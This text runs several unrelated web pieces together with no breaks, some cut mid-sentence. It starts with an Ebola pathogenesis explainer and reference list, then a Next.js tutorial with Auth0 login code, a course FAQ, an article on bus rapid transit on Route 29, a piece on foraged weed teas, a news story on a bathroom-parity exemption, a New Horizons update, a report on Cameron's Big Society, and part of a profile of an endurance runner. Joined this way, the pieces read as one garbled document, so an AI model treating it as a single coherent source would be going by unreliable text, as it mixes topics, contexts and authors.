more macrophages to the area, maximizing the number of cells that Ebola can use to spread throughout the body. In the meantime, hepatocytes are being destroyed by the virus, ensuring that these cell signals cannot be cleared from the bloodstream [17]. Figure 20. Ebolavirus causes destabilization of the vascular endothelium leading to hemorrhage.. Ebolavirus causes destabilization of the vascular endothelium leading to hemorrhage. Figure 21. Paradigm of Key Events in Ebolavirus Pathogenesis in Primates. Paradigm of Key Events in Ebolavirus Pathogenesis in Primates [12] Following GP-mediated receptor binding, Ebola virions are taken into endothelial cells via macropinocytosis. After their formation, macropinosomes move further into the cytoplasm to acquire new markers or fuse with other vesicles of the standard endolysosomal pathway. This eventually moves the Ebola virions to more acidic compartments such as early and late endosomes that assist in the pH dependent fusion of viral and cellular membranes [38]. During this process, the cell detaches from its neighbors and loses contact with its basement membrane thanks to a mechanism of glycan mediated steric occlusion by GP [16]. The newly created particles then leave via lipid rafts, leaving a destabilized vascular system responsible for the massive blood loss characteristic of Ebola patients [3]. Meanwhile, the immune system is going haywire (Fig 21). Interferons are not being made because VP35 interferes with nearly every step in the process [2]. White blood cells are trapped inside the circulatory system because sGP limits their movement [49]. Macrophages and monocytes are releasing a cocktail of proinflammatory cytokines that destroy the vascular endothelium, but also activate the coagulation cascade. This puts your body in a paradoxical state in which you can die of hypovolemic shock from massive hemorrhage, or from catastrophic thrombosis, the formation of blood clots around the body [17]. References 1) Basler, C.F., Wang, X., Mühlberger, E., Volchkov, V., Paragas, J., Klenk, H.D., Garcia-Sastre, A. & Palese, P. (2000). The Ebola virus VP35 protein functions as a type I IFN antagonist. PNAS, 97, 12289-12294. 2) Basler, C.F., Mikulasova, A., Martinez-Sobrido, L., Paragas, J., Mühlberger, E., Bray, M., Klenk, H.D., Palese, P. & García-Sastre, A. (2003). The Ebola Virus VP35 Protein Inhibits Activation of Interferon Regulatory Factor 3. Journal of Virology, 77(14), 7945-7956. 3) Bavari, S., Bosio, C.M., Wiegand, E., Ruthel, G., Will, A.B., Geisbert, T.W., Hevey, M., Schmaljohn, C., Schmaljohn, A. & Aman, M.J. (2002). Lipid Raft Microdomains: A Gateway for Compartmentalized Trafficking of Ebola and Marburg Viruses. The Journal of Experimental Medicine, 195(5), 593-602. 4) Bhattacharyya, S., Warfield, K.L., Ruthel, G., Bavari, S., Aman, M.J. & Hope, T.J. (2010). Ebola virus uses clathrin-mediated endocytosis as an entry pathway. Virology, 401, 18-28. 5) Borio, L., Inglesby, T., Peters, C.J., Schmaljohn, A.L., Hughes, J.M., Jahrling, P.B., Ksiazek, T., Johnson, K.M., Meyerhoff, A., O’Toole, T., Ascher, M.S., Bartlett, J., Breman, J.G., Eitzen, Jr., E.M., Hamburg, M., Hauer, J., Henderson, D.A., Johnson, R.T., Kwik, G., Layton, M., Lillibridge, S., Nabel, G.J., Osterholm, M.T., Perl, T.M., Russell, P. & Tonat, K. (2002). Hemorrhagic fever viruses as biological weapons: medical and public health management. Journal of the American Medical Association, 287, 2391-2405. 6) Cárdenas, W.B., Loo, Y.M., Gale, M., Hartman, A.L., Kimberlin, C.R., Martínez-Sobrido, L., Saphire, E.O. & Basler, C.F. (2006). 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fontFamily: 'Arial', margin: '25px auto', borderCollapse: 'collapse', border: '1px solid #eee', borderBottom: '2px solid #00cccc' }, td: { color: '#999', border: '1px solid #eee', padding: '12px 35px', borderCollapse: 'collapse' }, list: { padding: '50px', textAlign: 'center' }, photo: { display: 'inline-block' }, photoLink: { color: '#333', verticalAlign:'middle', cursor: 'pointer', background: '#eee', display: 'inline-block', width: '250px', height: '250px', lineHeight: '250px', margin: '10px', border: '2px solid transparent', ':hover': { borderColor: 'blue' } } } Our Index page should look like this below: NexThrone Index Page This is basically React code but there are some new imports from the next framework. Every route within Next.js is simply an ES6 module that exports a function or class that extends from React.Component. In getInitialProps, we are returning the posts array from the posts.js we created earlier as a prop. We know that the React render method actually does the UI rendering. Within the render method, we looped through the posts prop to display the characters in a table. The awesome thing about Next.js is that it automatically maps a.js file within the pages directory to a route. So basically, pages/index.js maps to / maps to pages/about.js maps to /about maps to pages/account.js maps to /account Now, we have a styles object in this file. Next.js provides us with a style function that we can use to select style properties and apply to DOM elements as shown in the example above. Next.js leverages the glamor library for the CSS-in-JS pattern. Another way of using CSS inside the JSX file with next.js is by importing the css function from next/css like so: import React from'react' import css from 'next/css' export default () => <p className={style}>Hello World!</p> const style = css({ color: 'blue' }) Finally, we have a <Link> component. We used the Link component that next.js provides. This enables client-side transitions between routes. The Link component grabs the post id and links to an account route when clicked. Next, let's create the account route to be able to accept the id and render the appropriate content. Setting up the Account Page Create a new file account.js inside the pages directory and add this code to it like so: pages/account.js import React from'react' import posts from '../data/posts' import { style } from 'next/css' import * as _ from 'lodash' export default ({ url: { query: { id } } }) => { const item = _.find(posts, { id: id }) return ( <div className={style(styles.main)}> <div className={style(styles.header)}> <h3> NEXTHRONE - THE REVELATION OF GAME OF THRONES' CHARACTERS </h3> </div> <div className={style(styles.panel)}> <h1 className={style(styles.heading)}> Character: { item.codeName } <br/> <br/> Real Name: { item.realName } <br/> <br/> Brief Description: <br/> <br/> <span> { item.story } </span> </h1> </div> <div className={style(styles.singlePhoto)}> <img src={ item.display_src} alt={item.realName} width={500} height={500} /> </div> </div> ) } const styles = { main: { padding: '50px' }, header: { font: '15px Monaco', textAlign: 'center' }, panel: { float: 'right', marginRight: '140px', width: '300px' }, singlePhoto: { border: '1px solid #999', width: '500px', height: '500px', float: 'left' }, heading: { font: '15px Monaco' } } Go ahead and install lodash. With the help of lodash, we can traverse the posts array to find the other properties of an object based on the id it receives from the query. This code export default ({ url: { query: { id } } }) grabs the value of id that is part of a url query. For example https://auth0.com/learn?id=javascript will return javascript. So, in our code above, it gets the id from the url, uses lodash to get the object properties based on the id, then assign them to the item variable. With that, we can now output the realName, codeName, story and display_src on the screen like we did above! Now, when we click on a character from the index page, we should be redirected to an account page that shows the full info of the character like so: Clicking on Index Page Arya Stark Account Page Mellisandre Account Page It's that simple. Now, we have a fully functional server-rendered universal JavaScript web application. Custom Config and Error Handling Next.js 404 Error Page Next.js 500 Error Page Sometimes you might need a more advanced routing than the option that Next.js provides, Next.js still allows you to intercept the request and do whatever you want. Check here for comprehensive info on how to achieve that. Next.js has a default component, _error.js that handles 404 and 500 errors on both client and server side. You can override it like so: import React from'react' export default class Error extends React.Component { static getInitialProps ({ res, xhr }) { const errorCode = res? res.statusCode : xhr.status return { errorCode } } render () { return ( <p>An error { this.props.errorCode } just occurred</p> ) } } Hosting \| Deploying to Production For Heroku lovers, there is a nice build adapter here that helps deploy your Next.js apps to Heroku. The creators of Next.js also have a tool, now that you can deploy your app with. Check out the instructions on how to deploy here. Aside: Authenticating a Next.js App with Auth0 Auth0 issues JSON Web Tokens on every login for your users. This means that you can have a solid identity infrastructure, including single sign-on, user management, support for social identity providers (Facebook, Github, Twitter, etc.), enterprise identity providers (Active Directory, LDAP, SAML, etc.) and your own database of users with just a few lines of code. We can easily set up authentication in our Next.js apps by using the Auth0.js library. If you don't already have an Auth0 account, sign up for one now. Navigate to the Auth0 management dashboard, click on New client by the right hand side, select Regular Web App from the dialog box and then go ahead to the Settings tab where the client ID and domain can be retreived. Note: Make sure you set the Allowed Callback URLs to http://localhost:3000/callback or whatever url/port you are running on. Step 1 Open up utils/AuthService.js and modify the code to look like this below: utils/AuthService.js import React from'react' export default class AuthService { constructor(clientId, domain) { // Configure Auth0 this.clientId = clientId; this.domain = domain; this.auth0 = new window.auth0.WebAuth({ domain: domain, clientID: clientId, scope: 'openid profile', responseType: 'token id_token', redirectUri: 'http://localhost:3000/callback' }); // binds login functions to keep this context this.login = this.login.bind(this); } parseHash(callback) { this.auth0.parseHash((err, result) => { if(err) { console.log(err); callback(false); this.logout(); return; } this.setToken(result.accessToken); callback(true); }); } login() { this.auth0.authorize(); } loggedIn(){ // Checks if there is a saved token and it's still valid return!!this.getToken(); } setToken(accessToken){ // Saves user token to localStorage localStorage.setItem('accessToken', accessToken); } getToken(){ // Retrieves the user token from localStorage return localStorage.getItem('accessToken'); } logout(){ // Clear user token from localStorage localStorage.removeItem('accessToken'); } } Step 2 Open up pages/index.js and modify the code to look like so: pages/index.js import React from'react' import posts from '../data/posts' import settings from '../data/settings' import { style } from 'next/css' import Link from 'next/link' import AuthService from '../utils/AuthService' export default class extends React.Component { static getInitialProps ({ req, res}) { return { posts: posts } } constructor(props) { super(props) this.state = { loggedIn: false } } componentDidMount() { this.auth = new AuthService(settings.clientId, settings.domain); this.setState({ loggedIn: this.auth.loggedIn() }); this.auth.callback = () => { this.setState({ loggedIn: this.auth.loggedIn() }); }; } login() { this.auth.login(); } render() { const loginButton = this.state.loggedIn? <div>HELLO</div> : <button onClick={this.login.bind(this)}>Login</button>; return ( <div> <div className={style(styles.header)}> <script src="https://cdn.auth0.com/js/auth0/9.0.0/auth0.min.js"></script> { loginButton } <h3> NEXTHRONE - THE REVELATION OF GAME OF THRONES' CHARACTERS </h3> </div> <table className={style(styles.table)}> <thead> <tr> <th className={style(styles.th)}>Character</th> <th className={style(styles.th)}>Real Name</th> </tr> </thead> <tbody> { this.props.posts.map( (post, i) => ( <tr key={i}> <td className={style(styles.td)}>{ post.codeName }</td> <td className={style(styles.td)}> { this.state.loggedIn? <Link href={`/account?id=${post.id}`}>{ post.realName }</Link> : <div>You need to login</div> } </td> </tr> )) } </tbody> </table> </div> ) } } const styles = { th: { background: '#00cccc', color: '#fff', textTransform: 'uppercase', fontSize: '12px', padding: '12px 35px', }, header: { font: '15px Monaco', textAlign: 'center' }, table: { fontFamily: 'Arial', margin: '25px auto', borderCollapse: 'collapse', border: '1px solid #eee', borderBottom: '2px solid #00cccc' }, td: { color: '#999', border: '1px solid #eee', padding: '12px 35px', borderCollapse: 'collapse' }, list: { padding: '50px', textAlign: 'center' }, photo: { display: 'inline-block' }, photoLink: { color: '#333', verticalAlign:'middle', cursor: 'pointer', background: '#eee', display: 'inline-block', width: '250px', height: '250px', lineHeight: '250px', margin: '10px', border: '2px solid transparent', ':hover': { borderColor: 'blue' } } } Replace client ID and Auth0 domain values in the settings object with the values from your dashboard. We created a state called loggedIn and instantiated the AuthService in componentDidMount. Now Auth0.js is not isomorphic, so we need to load the script from the CDN to make it available in our component within the render method. Based on the state of loggedIn, you will have the ability to have access to the link that redirects to the account or not! Now, run the app, the login button should appear at the top like so: NexThrone Index Non-loggedIn Status User clicks on the login button and the Auth0 login screen displays like so: NexThrone Auth0 Login Screen Once you log in successfully, you will now have access to the links like so: NexThrone Logged-in Status Now you are logged-in and the access token is present in Local Storage. You can now click on the link to have access to the account page. Step 3 We need to restrict access to the account page if the user is not logged-in. If the access token doesn't exist, then it means the user has been logged out. So open up your pages/account.js and modify the code like so: pages/account.js import React from'react' import posts from '../data/posts' import settings from '../data/settings' import { style } from 'next/css' import * as _ from 'lodash' import AuthService from '../utils/AuthService' export default class extends React.Component { componentDidMount() { this.auth = new AuthService(settings.clientId, settings.domain); if (!this.auth.loggedIn()) { this.props.url.replaceTo('/'); } } render () { const item = _.find(posts, { id: this.props.url.query.id }); return ( <div className={style(styles.main)}> <script src="https://cdn.auth0.com/js/auth0/9.0.0/auth0.min.js"></script> <div className={style(styles.header)}> <h3> NEXTHRONE - THE REVELATION OF GAME OF THRONES' CHARACTERS </h3> </div> <div className={style(styles.panel)}> <h1 className={style(styles.heading)}> Character: { item.codeName } <br/> <br/> Real Name: { item.realName } <br/> <br/> Brief Description: <br/> <br/> <span> { item.story } </span> </h1> </div> <div className={style(styles.singlePhoto)}> <img src={ item.display_src} alt={item.realName} width={500} height={500} /> </div> </div> ) } } const styles = { main: { padding: '50px' }, header: { font: '15px Monaco', textAlign: 'center' }, panel: { float: 'right', marginRight: '140px', width: '300px' }, singlePhoto: { border: '1px solid #999', width: '500px', height: '500px', float: 'left' }, heading: { font: '15px Monaco' } } In the componentDidMount, we just simply check if the user is logged in or not. If the user is not logged in, then the user will be redirected to the index page to log in. Step 4 We still need to add one more special page for everything to work. Put this code in the pages/callback.js file: import React from'react' import settings from '../data/settings' import AuthService from '../utils/AuthService' export default class extends React.Component { componentDidMount() { this.auth = new AuthService(settings.clientId, settings.domain); this.auth.parseHash(() => { this.props.url.replaceTo('/'); }); } render () { return <script src="https://cdn.auth0.com/js/auth0/9.0.0/auth0.min.js"></script>; } } This is a special page that processes the information returned after a login attempt. This information is passed to the AuthService instance so that Auth0.js can handle it. Nothing is rendered by this page. Note: If you want to use Auth0 authentication to authorize API requests, note that you'll need to use a different flow depending on your use case. Access tokens should be used to authorize APIs. You can read more about making API calls with Auth0 here. The source code for the authentication part of the NexThrone app can be found on the adding-auth branch here Conclusion With Next.js, we have been able to implement a Universal JavaScript web app in a very short time without overthinking the whole process. I'm optimistic that this young framework will grow very quickly and provide lots of options and configurations that will make building Universal JavaScript apps a breeze. Have you used Next.js? What are your thoughts about it? Please let me know in the comments section!Frequently Asked Questions Who are the Product Management coaches? We have partnered with some of the best Product Managers in the world to support you through this class. These Product Managers have seen it all– they’ve worked at enterprises, startups, and have even founded their own companies. These coaches are ready to lead group sessions, and are also available via slack for questions on course content. Consider them your Product Management guardian angels. What is the format of this class? This class is designed to happen over 10 weeks, with weekly content in the form of custom videos, blog-post style articles, and more. Each week, you will receive an email to let you know that a new section of content is available. There will also be a slack channel for you, your fellow students, and the teacher to discuss each section. How many live discussion sessions can I attend? You can attend as many sessions as you'd like, but spots are limited to 15 students each. You are still able to sign up for these sessions even after you've completed the course, but priority is granted to current students. When does the course start and finish? The course starts whenever you'd like it to start! Once you sign up, you will be able to start section 1 immediately. The curriculum is designed to be worked through over 10 weeks, so each new section of content will be released to you weekly. Each week you’ll get an email reminding you that the next lecture is live, along with an introduction to the week’s theme. But it is a completely self-paced online course- you can skip a week, save all of them for later, whatever works for you. You’ll have access to these lectures forever, so if you need to go back and review something or you miss a section, don’t sweat it. Do the videos have captions? Yes, all of our videos are set up with optional captions in English. Will we get a certificate at the end of the course? We will give you a certificate of completion and a letter stating that you completed the course with the curriculum attached. This does not officially certify you in anything particular, but it will help your boss, your organization, and your potential employers understand what you’ve learned. I'm from outside the United States. Can I enroll? Absolutely! During our first course we had 50 students from 8 different countries including New Zealand, Singapore, UK, Ireland, Czech Republic, Germany, and more. We welcome people from all over the world. We offer coaching sessions across all time zones, so you will have ample time to chat. How long does it take to complete each chapter? We know you are juggling work and life in addition to this course, so we wanted to make it as easy as possible to tackle. That's why each of our chapters takes around 45 mins to an hour to complete, with each individual sections within the chapters taking about 5-10 minutes. Have a 15 minute subway ride? Complete a section! Find yourself on a long lunch break? Do a full chapter! This really is a digestible, easy to complete program. How long do I have access to the course? How does lifetime access sound? After enrolling, you have unlimited access to this course for as long as you like, across any and all devices you own. You will also have full access to our Slack channel after you complete the course, so you can continue to keep in touch with fellow classmates and members of our PM community. I’m a larger company or organization interested in training for my PM’s or Product Owners - is this the right course? Yes! We have a slightly different approach for our enterprise clients. Reach out to info@produxlabs.com for more information and pricing. Will I have time for this course if I work full-time? Yes! Each section will vary, but you will need to dedicate less than 10 hours/week to this class. Because the class is all online, this course can be completed on your own schedule. Plus we have structured our course activities to be directly applicable to your individual job, so you'll never feel like you're wasting your time. What if I am unhappy with the course? We would never want you to be unhappy! If you are unsatisfied with your purchase and you contact us in writing to andrea@produxlabs.com within the first 30 days of class, we will give you a full refund. After 30 days, there will be no refunds.Bus rapid transit in Alexandria. Image by Dan Malouff licensed under Creative Commons. Better bus service could mean less traffic and fewer delays along Route 29 in Montgomery County, say transportation officials. But that may only happen if buses get their own lanes. For nearly a decade, the county has discussed creating a network of bus rapid transit lines. County Executive Ike Leggett wants to build the first one, along Route 29 (Colesville Road/Columbia Pike) between Silver Spring and Burtonsville, by 2020. While BRT has been successful in other cities around the country, the 11-mile line will help prove that it can work here. The county and the Maryland Department of Transportation just finished a study looking at what a bus rapid transit line could do if it were built, and what would happen if nothing got built at all. Here's what they found. How BRT would work BRT offers many features you'd expect from a train: large, covered stations, fare machines where you pay before getting on, and special traffic signals to let buses pass ahead of other vehicles. The county envisions thirteen stops along Route 29, with buses running in both directions every six minutes between 5 am and midnight, seven days a week. The most important feature of BRT are dedicated lanes for buses, which allow buses to speed past traffic, making the service fast and reliable. The county and state are looking at three alternative ways to create dedicated lanes for all buses (including existing local and commuter buses) as well as carpools. Depending on the alternative, buses would use the right-hand lane along sections of Route 29 south of New Hampshire Avenue, where it's more of a city street. North of New Hampshire Avenue, where Route 29 becomes more of a freeway, buses would either travel on the shoulder or in the median, where new lanes would be built. Estimates say the project would cost between $79 and $136 million to build. Meanwhile, the county is planning to build a sort of “temporary” BRT line with some of those features that could cost about $67 million. It recently received a federal grant to help pay for it. Map of the proposed Route 29 BRT line from Montgomery County. What BRT could do It could reduce travel times, including for drivers. Today, a bus trip from Burtonsville to Silver Spring can take nearly an hour in the morning. The study found that the same trip on BRT could take as little as 29 minutes, making it even faster than driving. In some cases, car trips would be shorter as well. It could reduce congestion. The study found that in all three cases, the amount of driving along Route 29 would actually decrease. Today, many people may choose to drive because the current bus trip is long and circuitous. With a new, faster option, some drivers may choose to use transit, freeing up space on the road for those who still choose to drive. It could double transit use in East County. Route 29 is one of the region's busiest bus corridors. Today, people take 15,000 trips through the area each day on Metrobus, Ride On, or MTA commuter buses. The study estimates that another 16,000 to 18,000 would ride BRT, while existing bus service would see new riders as well. It could increase access to jobs and economic opportunity. The study finds that BRT could “provide opportunities for low-income and minority populations to enhance their quality of life through improved transportation and employment options.” Research shows that one of the biggest barriers to getting a job is the lack of safe, reliable transportation to that job. The study finds that BRT could allow East County residents to reach more jobs within 45 minutes than they can today. Transit might also draw more private investment to areas like downtown Silver Spring and White Oak, putting more jobs within close reach. It could support Montgomery County's nighttime economy. One of the county's main priorities has been promoting nightlife in downtown areas like Silver Spring to encourage more people to live or work here, but the buses are often less frequent or don't run at all outside of rush hour. The BRT study finds that many of the proposed BRT stations, like Fenton Street, Burnt Mills, and Stewart Lane will actually be busier during evenings and weekends than during rush hour. These stations are in shopping and entertainment areas, like downtown Silver Spring and White Oak, that are both popular hangouts and have lots of late-night service and retail jobs. This may not happen without dedicated lanes This study looks at what would happen if Montgomery County and Maryland built bus rapid transit with dedicated lanes for buses. Creating bus lanes can be expensive depending on how you do them. And since Montgomery County first proposed BRT several years ago, there's been a lot of pushback from some neighbors who are worried about car traffic. But all of the benefits BRT could bring East County are less likely to happen without dedicated lanes that make buses faster, more frequent, and more reliable. After all, a bus that sits in traffic is just a bus. You've got a number of chances to offer your thoughts on this project. The county and state are taking public comments on this study through February 20. On February 7, the County Council will have a public hearing about whether to provide money to build bus rapid transit, and you can sign up to testify here. And there will be public meetings later this spring to talk even more. (Full disclosure: I sit on the county's Route 29 South BRT Citizens Advisory Committee, but these thoughts are mine and mine alone.)You might remember the torment Alice endured in Wonderland when viciously accused by the Iris: "Just as I suspected! She's nothing but a common mobile vulgaris! To be blunt--a weed." We're so quick to regard these ubiquitous plants as invasive, but many of us are completely unaware of their beneficial properties. The common weeds found right here in New York City parks serve a variety of nutritious (and delicious) purposes, especially when brewed into homemade herbal teas. Read on to find out which ones make the most soothing brews. Image via Flickr Found in many of NYC’s parks, red clovers make a tasty brew with a soothing, sweet punch. According to the foragers at Nona Brooklyn, the red clover is medicinally known to cure respiratory ailments and skin conditions, including eczema. Infuse both the flowers and leaves (either fresh or dry) in boiling water for 30 minutes. The iced version pairs especially well with raspberry leaf or mint. Image via Pohjantuuli Dandelion greens are nutritious all on their own, but the roots are best for a naturally detoxifying tea. Mind Body Green explains that dandelion root purifies the liver and contains potassium, making this elixir the perfect hangover cure. You won’t need the leaves for this brew – just clean the roots and place them in boiling water. Add herbs or a stick of cinnamon for additional flavor. Image via Håkan Dahlström Elderflower has been called the champagne of weeds because its blossoms are bubbly in nature, but also because it does in fact make a lovely DIY champagne. Once dried for tea, the flowers are a soothing tincture for colds and fevers. Related: 6 Edible Plants To Forage For in New York City Image via Jeremy Baucom Though spiny in nature, wild nettles are worth the pain for their delicious and nutritious qualities. The stinging nettle is highly regarded as one of the best medicines for overall health and immune support, and it also has a surprisingly good taste. Just be sure to arm yourself in heavy gloves before you snip. Once harvested and dried, the leaves ease up on the sting and can be steeped and strained to release the goods. The dried tea leaves are tasty all on their own, but the experts at Wolf College say it also pairs well with any member of the pine family. Image via Nayu Kim Rose hips, otherwise known as adorable baby roses, are famous for their vitamin C. However, generic dried rose hips teas often do not contain their natural level of the vitamins, and so making your own fresh rose hip tea is the best way to really boost your immune system. Choose only the freshest leaves (without any brown spots) and add a bit of raw honey to balance out tannins. Lead image via CalsidyroseBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. March 28, 2013, 2:48 PM GMT By Isolde Raftery In a rare move, New York City’s buildings department OK'd an investment bank's request to break the city's potty-parity law and add a men's bathroom and urinals to its trading floors. Japanese firm Nomura, gearing up to move into Worldwide Plaza in the city’s midtown area, requested permission to build another men’s bathroom for its fourth floor, the main trading floor, which is expected to house about 550 traders. Trading is a male-dominated profession. The bank also asked to add urinals to existing bathrooms on three higher trading floors. Nomura spokesman Jonathan Hodgkinson said the request – which was first reported by the New York Post – was approved by the city after being submitted in March 2012. He would not say why the company asked for the exemption or how many women and men work on the trading floors. The Post reported the gender breakdown is 75 percent men, 25 percent women. In a prepared statement, Hodgkinson wrote: “Nomura believes in providing equal employment opportunities and a sound working environment where our staff can, and do, perform at their best.” Steve Solomon, a spokesman for George Comfort & Sons, which owns Worldwide Plaza, said the bathrooms have been built. “Life is happy with the tenants,” he said. “They’re going to the bathroom with smiles.” Nomura, whose North American staff has grown to 2,316 from 900 in 2009, plans to move this summer. New York City approved its bathroom equality law in 2005, requiring new buildings to install bathroom "fixtures" at a roughly 2-to-1 ratio in favor of women. Advocates say that women need more toilets than men because they take longer and have more bathroom-related needs than men. The law also applies to building remodels such as the one at Worldwide Plaza. But it includes an exemption for places where the gender imbalance is pronounced, such as health spas, women’s dorms and men’s prisons, where potty parity would be unnecessary. A spokesman from the city’s buildings department said the department is getting more information on the request but did not release the document on Wednesday. Bathroom equality advocates criticized Nomura for requesting the exemption – and New York for granting it. Robert Brubaker, program manager for the American Restroom Association, a nonprofit that advocates for restroom availability, said he's never heard of a business asking for the exemption. Goldman Sachs, another investment bank that moved recently, did not request an exemption to the bathroom equality law, a spokeswoman said. “Regardless of their past, their best candidates in the future may be women,” Brubaker said. George Washington University Law School Professor John Banzhaf, the self-described "father of potty parity," said he views adding urinals as a sexist move that sends a negative message to women staffers. “They say, ‘We discriminated in the past so now you have to let us continue.’” Banzhaf said he may challenge the city's decision to grant Nomura an exemption. “If these guys can get away with it, there’s no reason why others can’t do the same,” he said.New Horizons: Looking Further Out We’re getting close on New Horizons data, all of which should be downlinked as of this weekend. Although that’s a welcome marker, it hardly means the end of news from the doughty spacecraft. For one thing, we have years of analysis ahead of us as we bring the abundant data from the spacecraft’s instrument packages into focus. For another, we’re still in business out there in the Kuiper Belt, heading for that interesting object 2014 MU69. Who knows what will turn up at the latter, given our propensity to be surprised at every turn in interplanetary exploration, from Triton’s volcanic plains to fabulously fractured Miranda. And, of course, Pluto and Charon themselves, which turned out to be so interesting that Alan Stern, principal investigator for New Horizons, is already talking about future missions there. But back to 2014 MU69, which has continued to be the subject of Hubble observations even as New Horizons homes in on the object. As this news release from the mission points out, MU69 is the smallest KBO ever to have its color measured, a reddish hue that confirms its identity as part of the ‘cold classical’ region of the Kuiper Belt. These are objects with low orbital eccentricity and inclination that are not in orbital resonance with Neptune. Reddish-brown tholins formed by solar radiation interacting with simple organic compounds are common here. “The reddish color tells us the type of Kuiper Belt object 2014 MU69 is,” says Amanda Zangari, a New Horizons post-doctoral researcher from Southwest Research Institute. “The data confirms that on New Year’s Day 2019, New Horizons will be looking at one of the ancient building blocks of the planets.” Image: 2014 MU69 travels diagonally across a dense field of stars and noise in the background. Credit: NASA, ESA, SwRI, JHU/APL, and the New Horizons KBO Search Team. New Horizons has now covered a third of its distance from Pluto to MU69, with the target approximately a billion kilometers away. The analysis of New Horizons data, meanwhile, is turning up interesting things on Charon, where we find landslides, a feature that has not yet been spotted on Pluto’s surface, although we’ve found them on worlds as diverse as Mars and Iapetus. The Charon landslides are the farthest ever observed from the Sun. Image: Scientists from NASA’s New Horizons mission have spotted signs of long run-out landslides on Pluto’s largest moon, Charon. This image of Charon’s informally named Serenity Chasma was taken by New Horizons’ Long Range Reconnaissance Imager (LORRI) on July 14, 2015, from a distance of 78,717 kilometers. Arrows mark indications of landslide activity. Credit: NASA/Johns Hopkins University Applied Physics Laboratory/Southwest Research Institute. Likewise, we learn that while Pluto’s atmosphere is hazy but largely cloud-free, a handful of possible clouds have turned up in New Horizons imagery. That would point to an atmosphere still more complex than expected. And the variations in surface brightness on Pluto itself are telling. Some of these regions, particularly in Pluto’s now famous heart-shaped region, are among the most reflective in the Solar System. This has implications for what may be occurring on another deep space object, says Bonnie Buratti (JPL), a co-investigator on the New Horizons science team: “That brightness indicates surface activity. Because we see a pattern of high surface reflectivity equating to activity, we can infer that the dwarf planet Eris, which is known to be highly reflective, is also likely to be active.” Image: Pluto’s present, hazy atmosphere is almost entirely free of clouds, though scientists from NASA’s New Horizons mission have identified some cloud candidates after examining images taken by the New Horizons Long Range Reconnaissance Imager and Multispectral Visible Imaging Camera, during the spacecraft’s July 2015 flight through the Pluto system. All are low-lying, isolated small features-no broad cloud decks or fields – and while none of the features can be confirmed with stereo imaging, scientists say they are suggestive of possible, rare condensation clouds. Credit: NASA/Johns Hopkins University Applied Physics Laboratory/Southwest Research Institute. We’re a long way from through with New Horizons, which should make its flyby of 2014 MU69 on January 1, 2019 after the series of four course changes that adjusted its trajectory. We may have other outer system news to discuss as the joint meeting of the American Astronomical Society Division for Planetary Sciences and European Planetary Science Congress in Pasadena continues this week. But for now, I particularly like Alan Stern’s words:The Prime Minister said that the Coalition’s “duty” is to reduce the Government deficit, even though the spending cuts and tax rises involved will anger many voters. That inevitable loss of support will not stop the Big Society programme of personal responsibility and reformed public services, Mr Cameron said. The Prime Minister was addressing charity leaders and social entrepreneurs at an event intended to relaunch the Big Society agenda after it come under heavy political criticism. “The duty of this government is to deal with the economic mess that we have inherited. We have got to deal with that def, we have to make these cuts, we have to raise those taxes,” Mr Cameron said. “It will not make us popular. In fact it will make us unpopular. It will make me unpopular. I recognise that is my duty. We have to do this for the good of the country.” Some charity leaders have said that Coalition cuts in spending will undermine Britain’s volunteering spirit, thwarting any attempt to persuade people to help run services and support communities. Mr Cameron insisted that deficit reduction and the Big Society are both essential parts of his political programme: “We need a social recovery as well as an economic recovery.” The Big Society, the Prime Minister’s appeal for people to take more responsibility for their own communities and for running public services, has come under intense criticism from charities, MPs and – privately – some ministers. Critics say the Big Society is too vague and ill-defined to appeal to voters, asking whether many people have time or inclination to get involved in running services or in community work. Mr Cameron insisted that people are keen on his concept, but he tacitly conceded that the Government has not yet explained to people how they can get involved in the Big Society “People are enthusiastic if they are given the opportunity. People like the idea. We have to show it is possible,” he said. He added: “We have to show that there is a way of making their police force more accountable, that there is a way of taking over failing schools, that there is a way of opening up the provision of public services that there is a way of encouraging young people to volunteer and get involved.” He also accepted that the Big Society may not help his party in the polls: “The reason I talk about it is not because it’s popular or I think it’ll win an elections with it. The reason I talk about it is because I care about it.”If you want to take a look at a snapshot of what young Chinese people think about religion, just browse through the comments
able to help other people, especially children, one day. And now he has found a way to do so: he is running to “inspire people and to bring hope”. And, of course, trying to test his limits. Towards the end of November 2014, seven months in to his record attempt, he finds them. His left shin and ankle swell so much that he runs with a limp. He is persuaded to call again on Courtney Kipps, a sports doctor and assistant medical director of the London Marathon, who has monitored his progress since a month after he began his challenge. Kipps has been sufficiently astounded by Young’s casual approach and ability to withstand injury to want to study him in his laboratory at the Institute of Sport, Exercise and Health. “Here’s a guy under great stress, not sleeping or eating well, with financial and family worries – it’s a perfect storm,” Kipps says. “Yet he carries on. Day by day he defies expectations.” When Kipps looks at Young’s ankle he orders a scan, which shows bruising in the bone. If he carries on running he will surely get a stress fracture, which can become a full fracture if he pushes through the pain. His quest is over. ** After the hanging scare, Young’s mother, who suffers her own abuse at the hands of her husband, finds the courage to call social services. She and the two children are moved to a safe house, and then travel to Hampshire – walking part of the way and sleeping overnight in a ditch – to be near her parents. But she is unable to look after two children and so, aged eight, Young is put in a care home, where he is bullied, and in turn becomes a bully. When he is 12, Young meets a deputy headmaster and part-time coach named Peter Wells at a sports club. Wells applies to foster Young, and becomes the father he never had, helping him with his schoolwork and teaching him about manners, respect and life. On finishing secondary school, Young joins the army, serving in the Royal Corps of Signals. Competitive and headstrong, he spends much of the time in a tracksuit, doing triathlons and biathlons. He is good enough to make the junior GB team. But one discipline always lets him down – the run, which he hates. Aged 23, he leaves the army and briefly rides with the Milram professional cycling team in Italy before returning to the UK to be with his pregnant girlfriend. After a few years, they split up. Young re-establishes contact with his mother and sister, though they never become close. He meets Joanna on a dating site, bringing her a salmon covered in wrapping paper and a bow as a gift the first time they meet. “She said she likes fish!” They fall in love and he becomes a father for the second time. They lead a quiet, contented life. And then they make the bet. Never give up. That is Young’s motto, and he lives it. Kipps tells him that the injury usually requires a minimum of three to four weeks of complete rest, and then a gradual reintroduction to running. That would rule Young out of the Race Across USA, in which 12 amateur athletes will run the equivalent of 117 marathons over four and a half months, from Los Angeles to Washington, DC. Twenty-three days after the scan he runs a marathon. Though he can no longer break the record for the number of marathons run on consecutive days over a year, his habit of completing two 26-milers on some days gives him room still to improve the mark for the total number of marathons. He arrives in Los Angeles keen to make up for lost time, and quickly takes the overall lead in the race. His fellow competitors soon learn what anyone who runs with Young does: the man who never had a proper childhood is a kid at heart. He loves to play the fool (lying down in the road so others have to jump over him), to dance (a fairy jig) and to sing (“I love you baby...”). And he does not like to do his 